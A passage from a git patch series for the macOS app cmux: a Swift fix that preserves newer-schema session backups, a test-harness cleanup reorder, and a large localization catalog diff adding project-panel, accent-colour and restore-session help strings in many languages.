66a9561eeb5f..c10caf9b002e 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -311,7 +311,16 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti guard let primaryURL = defaultSnapshotFileURL() else { return } switch loadOutcome(fileURL: primaryURL) { case .loaded(let snapshot): - _ = save(snapshot, fileURL: backupURL) + // Replacing the manual-restore cache must never destroy the only + // copy written by a newer cmux. Preserve that backup first; if the + // side-file write fails, keep the backup untouched and retry on a + // later sync instead of overwriting recoverable data. + switch preserveNewerSchemaSnapshotOutcome(fileURL: backupURL) { + case .notNeeded, .preserved: + _ = save(snapshot, fileURL: backupURL) + case .failed: + break + } case .missing: switch preserveNewerSchemaSnapshotOutcome(fileURL: backupURL) { case .notNeeded, .preserved: From 2057d16663783ef1ea03284fbc7947351d654971 Mon Sep 17 00:00:00 2001 From: Leo <cheerleaderleo@outlook.com> Date: Sun, 27 Sep 2026 17:43:10 +0800 Subject: [PATCH 11/16] test(cli): clean transfer harness on setup failure --- cmuxCLITests/CLIRestoreSessionTransferTests.swift | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cmuxCLITests/CLIRestoreSessionTransferTests.swift b/cmuxCLITests/CLIRestoreSessionTransferTests.swift index 7cdb12607afd..f309d1ca331c 100644 --- a/cmuxCLITests/CLIRestoreSessionTransferTests.swift +++ b/cmuxCLITests/CLIRestoreSessionTransferTests.swift @@ -155,13 +155,13 @@ final class CLIRestoreSessionTransferTests { let listenerFD = try bindUnixSocket(at: socketPath) let workDirectory = FileManager.default.temporaryDirectory .appendingPathComponent("cmux-restore-session-cli-\(UUID().uuidString)", isDirectory: true) - try FileManager.default.createDirectory(at: workDirectory, withIntermediateDirectories: true) - try prepareWorkDirectory?(workDirectory) defer { Darwin.close(listenerFD) unlink(socketPath) try? FileManager.default.removeItem(at: workDirectory) } + try FileManager.default.createDirectory(at: workDirectory, withIntermediateDirectories: true) + try prepareWorkDirectory?(workDirectory) let state = MockSocketServerState() let replyData = try JSONSerialization.data(withJSONObject: reply ?? [:]) let errorData = try JSONSerialization.data(withJSONObject: error ?? [:]) From e762e8f1d518b794c4afd373a3145b8424dc08a6 Mon Sep 17 00:00:00 2001 From: teamleaderleo <cheerleaderleo@outlook.com> Date: Mon, 28 Sep 2026 01:52:20 -0400 Subject: [PATCH 12/16] Keep main's string catalog order when merging the session transfer strings Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- Resources/Localizable.xcstrings | 4260 +++++++++++++++---------------- 1 file changed, 2130 insertions(+), 2130 deletions(-) diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index e9e6a278e479..e134d979bc5a 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -1,6 +1,478 @@ { "sourceLanguage": "en", "strings": { + "browser.omnibar.accessibilityLabel": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Address and search bar" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Adress- und Suchleiste" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Barre d’adresse et de recherche" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "شريط العنوان والبحث" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Barra de direcciones y búsqueda" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "網址與搜尋列" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "地址和搜索栏" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "주소 및 검색 막대" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "アドレスと検索バー" + } + } + } + }, + "projectPanel.reload": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Reload Project" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Projekt neu laden" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Recharger le projet" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "إعادة تحميل المشروع" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Recargar proyecto" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "重新載入專案" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "重新加载项目" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "프로젝트 다시 불러오기" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "プロジェクトを再読み込み" + } + } + } + }, + "projectPanel.reloadErrors": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Reload returned errors: %@" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Beim Neuladen sind Fehler aufgetreten: %@" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Le rechargement a renvoyé des erreurs : %@" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "أعادت إعادة التحميل أخطاء: %@" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "La recarga devolvió errores: %@" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "重新載入時發生錯誤:%@" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "重新加载时出现错误:%@" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "다시 불러오기 중 오류 발생: %@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "再読み込みでエラーが発生しました: %@" + } + } + } + }, + "projectPanel.dismissReloadErrors": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Dismiss Errors" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Fehler ausblenden" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Ignorer les erreurs" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تجاهل الأخطاء" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Descartar errores" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "關閉錯誤" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "关闭错误" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "오류 닫기" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "エラーを閉じる" + } + } + } + }, + "projectPanel.scheme": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Scheme" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Schema" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Schéma" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "المخطط" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Esquema" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "方案" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "方案" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "스킴" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "スキーム" + } + } + } + }, + "projectPanel.configuration": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Configuration" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Konfiguration" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Configuration de build" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "التكوين" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Configuración" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "組態" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "配置" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "구성" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "構成" + } + } + } + }, + "projectPanel.loadingFormat": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Loading %@" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ wird geladen" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Chargement de %@" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "جارٍ تحميل %@" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Cargando %@" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "正在載入 %@" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "正在加载 %@" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 불러오는 중" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ を読み込み中" + } + } + } + }, + "projectPanel.failedFormat": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Failed: %@" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Fehlgeschlagen: %@" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Échec : %@" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "فشل: %@" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Error: %@" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "失敗:%@" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "失败:%@" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "실패: %@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "失敗: %@" + } + } + } + }, "settings.automation.rules.createFailed.title": { "extractionState": "manual", "localizations": { @@ -175827,6 +176299,71 @@ } } }, + "dialog.close.dontAskAgain": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Don’t ask again" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لا تسأل مرة أخرى" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Nicht mehr fragen" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No volver a preguntar" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Ne plus demander" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "今後確認しない" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "다시 묻지 않기" + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "Більше не запитувати" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "不再询问" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "不再詢問" + } + } + } + }, "dialog.closeAnchor.message.lone": { "extractionState": "manual", "localizations": { @@ -227519,6 +228056,65 @@ } } }, + "globalSearch.kind.terminal": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Terminal" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "ターミナル" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "터미널" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "طرفية" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "終端" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "终端" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Terminal" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Terminal" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Terminal" + } + } + } + }, "globalSearch.kind.title": { "extractionState": "manual", "localizations": { @@ -290419,6 +291015,596 @@ } } }, + "settings.app.accentColor": { + "localizations": { + "ar": { + "stringUnit": { + "state": "translated", + "value": "لون التمييز" + } + }, + "bs": { + "stringUnit": { + "state": "translated", + "value": "Boja naglaska" + } + }, + "da": { + "stringUnit": { + "state": "translated", + "value": "Accentfarve" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Akzentfarbe" + } + }, + "en": { + "stringUnit": { + "state": "translated", + "value": "Accent Color" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Color de acento" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Couleur d’accentuation" + } + }, + "it": { + "stringUnit": { + "state": "translated", + "value": "Colore di evidenziazione" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "アクセントカラー" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "강조 색상" + } + }, + "nb": { + "stringUnit": { + "state": "translated", + "value": "Aksentfarge" + } + }, + "pl": { + "stringUnit": { + "state": "translated", + "value": "Kolor akcentu" + } + }, + "pt-BR": { + "stringUnit": { + "state": "translated", + "value": "Cor de destaque" + } + }, + "ru": { + "stringUnit": { + "state": "translated", + "value": "Цвет акцента" + } + }, + "th": { + "stringUnit": { + "state": "translated", + "value": "สีเน้น" + } + }, + "tr": { + "stringUnit": { + "state": "translated", + "value": "Vurgu Rengi" + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "Колір акценту" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "强调色" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "強調色" + } + } + } + }, + "settings.app.accentColor.cmux": { + "localizations": { + "ar": { + "stringUnit": { + "state": "translated", + "value": "أزرق cmux" + } + }, + "bs": { + "stringUnit": { + "state": "translated", + "value": "cmux plava" + } + }, + "da": { + "stringUnit": { + "state": "translated", + "value": "cmux-blå" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "cmux-Blau" + } + }, + "en": { + "stringUnit": { + "state": "translated", + "value": "cmux Blue" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Azul de cmux" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Bleu cmux" + } + }, + "it": { + "stringUnit": { + "state": "translated", + "value": "Blu cmux" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "cmux ブルー" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "cmux 파란색" + } + }, + "nb": { + "stringUnit": { + "state": "translated", + "value": "cmux-blå" + } + }, + "pl": { + "stringUnit": { + "state": "translated", + "value": "Niebieski cmux" + } + }, + "pt-BR": { + "stringUnit": { + "state": "translated", + "value": "Azul do cmux" + } + }, + "ru": { + "stringUnit": { + "state": "translated", + "value": "Синий cmux" + } + }, + "th": { + "stringUnit": { + "state": "translated", + "value": "สีน้ำเงิน cmux" + } + }, + "tr": { + "stringUnit": { + "state": "translated", + "value": "cmux Mavisi" + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "Синій cmux" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "cmux 蓝" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "cmux 藍" + } + } + } + }, + "settings.app.accentColor.subtitle": { + "localizations": { + "ar": { + "stringUnit": { + "state": "translated", + "value": "لون مساحة العمل المحددة وحلقة التنبيه وحالة الوكيل وإبرازات cmux الأخرى. يتبع خيار النظام لون التمييز في macOS." + } + }, + "bs": { + "stringUnit": { + "state": "translated", + "value": "Boja odabranog radnog prostora, prstena pažnje, statusa agenta i ostalih cmux istaknutih elemenata. Sistem prati boju naglaska macOS-a." + } + }, + "da": { + "stringUnit": { + "state": "translated", + "value": "Farve for det valgte arbejdsområde, opmærksomhedsringen, agentstatus og andre cmux-fremhævninger. System følger macOS-accentfarven." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Farbe des ausgewählten Workspace, des Aufmerksamkeitsrings, des Agentenstatus und anderer cmux-Hervorhebungen. „Systemfarbe“ folgt der macOS-Akzentfarbe." + } + }, + "en": { + "stringUnit": { + "state": "translated", + "value": "Color of the selected workspace, attention ring, agent status, and other cmux highlights. System follows the macOS accent color." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Color del espacio de trabajo seleccionado, el anillo de atención, el estado del agente y otros resaltados de cmux. Sistema sigue el color de acento de macOS." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Couleur de l’espace de travail sélectionné, de l’anneau d’attention, de l’état de l’agent et des autres mises en évidence de cmux. Système suit la couleur d’accentuation de macOS." + } + }, + "it": { + "stringUnit": { + "state": "translated", + "value": "Colore dell’area di lavoro selezionata, dell’anello di attenzione, dello stato dell’agente e degli altri elementi evidenziati di cmux. Sistema segue il colore di evidenziazione di macOS." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "選択中のワークスペース、注意リング、エージェントの状態など、cmux のハイライトの色です。「システム」は macOS のアクセントカラーに従います。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "선택한 워크스페이스, 주의 링, 에이전트 상태 등 cmux 강조 표시의 색상입니다. 시스템은 macOS 강조 색상을 따릅니다." + } + }, + "nb": { + "stringUnit": { + "state": "translated", + "value": "Farge for det valgte arbeidsområdet, oppmerksomhetsringen, agentstatus og andre cmux-uthevinger. System følger macOS-aksentfargen." + } + }, + "pl": { + "stringUnit": { + "state": "translated", + "value": "Kolor wybranego obszaru roboczego, pierścienia uwagi, stanu agenta i innych wyróżnień cmux. Systemowy podąża za kolorem akcentu macOS." + } + }, + "pt-BR": { + "stringUnit": { + "state": "translated", + "value": "Cor do espaço de trabalho selecionado, do anel de atenção, do status do agente e de outros destaques do cmux. Sistema segue a cor de destaque do macOS." + } + }, + "ru": { + "stringUnit": { + "state": "translated", + "value": "Цвет выбранного рабочего пространства, кольца внимания, статуса агента и других выделений cmux. «Системный» следует цвету акцента macOS." + } + }, + "th": { + "stringUnit": { + "state": "translated", + "value": "สีของพื้นที่ทำงานที่เลือก วงแจ้งเตือน สถานะเอเจนต์ และไฮไลต์อื่นๆ ของ cmux ตัวเลือกระบบจะใช้สีเน้นของ macOS" + } + }, + "tr": { + "stringUnit": { + "state": "translated", + "value": "Seçili çalışma alanı, dikkat halkası, ajan durumu ve diğer cmux vurgularının rengi. Sistem, macOS vurgu rengini izler." + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "Колір вибраного робочого простору, кільця уваги, статусу агента та інших виділень cmux. «Системний» використовує колір акценту macOS." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "所选工作区、提醒环、代理状态和其他 cmux 高亮的颜色。“系统”跟随 macOS 强调色。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "所選工作區、提醒環、代理狀態和其他 cmux 醒目提示的顏色。「系統」跟隨 macOS 強調色。" + } + } + } + }, + "settings.app.accentColor.system": { + "localizations": { + "ar": { + "stringUnit": { + "state": "translated", + "value": "النظام" + } + }, + "bs": { + "stringUnit": { + "state": "translated", + "value": "Sistem" + } + }, + "da": { + "stringUnit": { + "state": "translated", + "value": "System" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Systemfarbe" + } + }, + "en": { + "stringUnit": { + "state": "translated", + "value": "System" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Sistema" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Système" + } + }, + "it": { + "stringUnit": { + "state": "translated", + "value": "Sistema" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "システム" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "시스템" + } + }, + "nb": { + "stringUnit": { + "state": "translated", + "value": "System" + } + }, + "pl": { + "stringUnit": { + "state": "translated", + "value": "Systemowy" + } + }, + "pt-BR": { + "stringUnit": { + "state": "translated", + "value": "Sistema" + } + }, + "ru": { + "stringUnit": { + "state": "translated", + "value": "Системный" + } + }, + "th": { + "stringUnit": { + "state": "translated", + "value": "ระบบ" + } + }, + "tr": { + "stringUnit": { + "state": "translated", + "value": "Sistem" + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "Системний" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "系统" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "系統" + } + } + } + }, + "settings.app.accentColor.systemToggle": { + "localizations": { + "ar": { + "stringUnit": { + "state": "translated", + "value": "لون التمييز للنظام" + } + }, + "bs": { + "stringUnit": { + "state": "translated", + "value": "Sistemska boja naglaska" + } + }, + "da": { + "stringUnit": { + "state": "translated", + "value": "Systemets accentfarve" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "System-Akzentfarbe" + } + }, + "en": { + "stringUnit": { + "state": "translated", + "value": "System Accent Color" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Color de acento del sistema" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Couleur d’accentuation du système" + } + }, + "it": { + "stringUnit": { + "state": "translated", + "value": "Colore di evidenziazione di sistema" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "システムのアクセントカラー" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "시스템 강조 색상" + } + }, + "nb": { + "stringUnit": { + "state": "translated", + "value": "Systemets aksentfarge" + } + }, + "pl": { + "stringUnit": { + "state": "translated", + "value": "Systemowy kolor akcentu" + } + }, + "pt-BR": { + "stringUnit": { + "state": "translated", + "value": "Cor de destaque do sistema" + } + }, + "ru": { + "stringUnit": { + "state": "translated", + "value": "Системный цвет акцента" + } + }, + "th": { + "stringUnit": { + "state": "translated", + "value": "สีเน้นของระบบ" + } + }, + "tr": { + "stringUnit": { + "state": "translated", + "value": "Sistem Vurgu Rengi" + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "Системний колір акценту" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "系统强调色" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "系統強調色" + } + } + } + }, "settings.app.appearance": { "extractionState": "manual", "localizations": { @@ -343047,6 +344233,124 @@ } } }, + "settings.search.alias.setting.app.accent-color": { + "localizations": { + "ar": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue لون التمييز أزرق النظام" + } + }, + "bs": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue boja naglaska plava sistem" + } + }, + "da": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue accentfarve blå system" + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue Akzentfarbe blau System" + } + }, + "en": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue" + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue color de acento azul sistema" + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue couleur d’accentuation bleu système" + } + }, + "it": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue colore di evidenziazione blu sistema" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue アクセントカラー 青 システム" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue 강조 색상 파란색 시스템" + } + }, + "nb": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue aksentfarge blå system" + } + }, + "pl": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue kolor akcentu niebieski systemowy" + } + }, + "pt-BR": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue cor de destaque azul sistema" + } + }, + "ru": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue цвет акцента синий системный" + } + }, + "th": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue สีเน้น สีน้ำเงิน ระบบ" + } + }, + "tr": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue vurgu rengi mavi sistem" + } + }, + "uk": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue колір акценту синій системний" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue 强调色 蓝色 系统" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue 強調色 藍色 系統" + } + } + } + }, "settings.search.alias.setting.app.appearance": { "extractionState": "manual", "localizations": { @@ -546098,891 +547402,6 @@ } } }, - "cli.restoreSession.help": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Usage: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nReopen the previous saved cmux session.\n\nIf the app is already running, this restores the last saved session into the current app.\nIf the app is not running, this launches cmux and lets startup restore reopen the saved session.\n\nEach cmux install (stable, nightly, rc, staging, tagged debug builds) saves its own session.\n--from <channel> Reopen another install's saved session in this running cmux, for example\n after trying nightly and switching back to stable. The session opens as\n additional windows; the other install's saved file is only read.\n--from <path> Reopen a session file written by --export.\n--export <path> Write this cmux's saved session to a file. Pass --force to replace an\n existing file.\n\n--from and --export require cmux to be running." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Verwendung: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nDie zuletzt gespeicherte cmux-Sitzung erneut öffnen.\n\nLäuft die App bereits, wird die zuletzt gespeicherte Sitzung in der aktuellen App wiederhergestellt.\nLäuft die App nicht, wird cmux gestartet und die gespeicherte Sitzung beim Start wiederhergestellt.\n\nJede cmux-Installation (stable, nightly, rc, staging, getaggte Debug-Builds) speichert ihre eigene Sitzung.\n--from <channel> Die gespeicherte Sitzung einer anderen Installation in diesem laufenden cmux öffnen,\n z. B. nachdem Sie nightly ausprobiert haben und zu stable zurückkehren. Die Sitzung\n öffnet sich in zusätzlichen Fenstern; die Datei der anderen Installation wird nur gelesen.\n--from <path> Eine mit --export geschriebene Sitzungsdatei öffnen.\n--export <path> Die gespeicherte Sitzung dieses cmux in eine Datei schreiben. Mit --force wird eine\n vorhandene Datei ersetzt.\n\n--from und --export setzen ein laufendes cmux voraus." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Utilisation : cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nRouvrir la dernière session cmux enregistrée.\n\nSi l'app est déjà ouverte, la dernière session enregistrée est restaurée dans l'app actuelle.\nSi l'app n'est pas ouverte, cmux est lancé et la restauration au démarrage rouvre la session enregistrée.\n\nChaque installation de cmux (stable, nightly, rc, staging, builds debug avec tag) enregistre sa propre session.\n--from <channel> Rouvrir la session enregistrée d'une autre installation dans ce cmux en cours, par exemple\n après avoir essayé nightly puis être revenu à stable. La session s'ouvre dans des fenêtres\n supplémentaires ; le fichier de l'autre installation est seulement lu.\n--from <path> Rouvrir un fichier de session écrit par --export.\n--export <path> Écrire la session enregistrée de ce cmux dans un fichier. Ajoutez --force pour remplacer\n un fichier existant.\n\n--from et --export nécessitent que cmux soit ouvert." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Uso: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nVuelve a abrir la última sesión guardada de cmux.\n\nSi la app ya está abierta, restaura la última sesión guardada en la app actual.\nSi la app no está abierta, inicia cmux y deja que la restauración de inicio vuelva a abrir la sesión guardada.\n\nCada instalación de cmux (stable, nightly, rc, staging, builds de depuración con etiqueta) guarda su propia sesión.\n--from <channel> Abre en este cmux la sesión guardada de otra instalación, por ejemplo después de\n probar nightly y volver a stable. La sesión se abre en ventanas adicionales; el archivo\n de la otra instalación solo se lee.\n--from <path> Abre un archivo de sesión escrito con --export.\n--export <path> Escribe en un archivo la sesión guardada de este cmux. Usa --force para reemplazar un\n archivo existente.\n\n--from y --export requieren que cmux esté abierto." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "使い方: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n前回保存した cmux セッションを再度開きます。\n\nアプリがすでに起動している場合は、最後に保存したセッションを現在のアプリに復元します。\nアプリが起動していない場合は、cmux を起動し、起動時の復元で保存済みセッションを開きます。\n\ncmux の各インストール(stable、nightly、rc、staging、タグ付き debug ビルド)はそれぞれ独自のセッションを保存します。\n--from <channel> 別のインストールで保存したセッションを、起動中のこの cmux で開きます。たとえば nightly を\n 試したあと stable に戻る場合に使います。セッションは追加のウインドウとして開き、別の\n インストールのファイルは読み取るだけです。\n--from <path> --export で書き出したセッションファイルを開きます。\n--export <path> この cmux の保存済みセッションをファイルに書き出します。既存のファイルを置き換えるには\n --force を指定します。\n\n--from と --export を使うには cmux が起動している必要があります。" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "الاستخدام: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nأعد فتح آخر جلسة cmux محفوظة.\n\nإذا كان التطبيق يعمل بالفعل، فستُستعاد آخر جلسة محفوظة في التطبيق 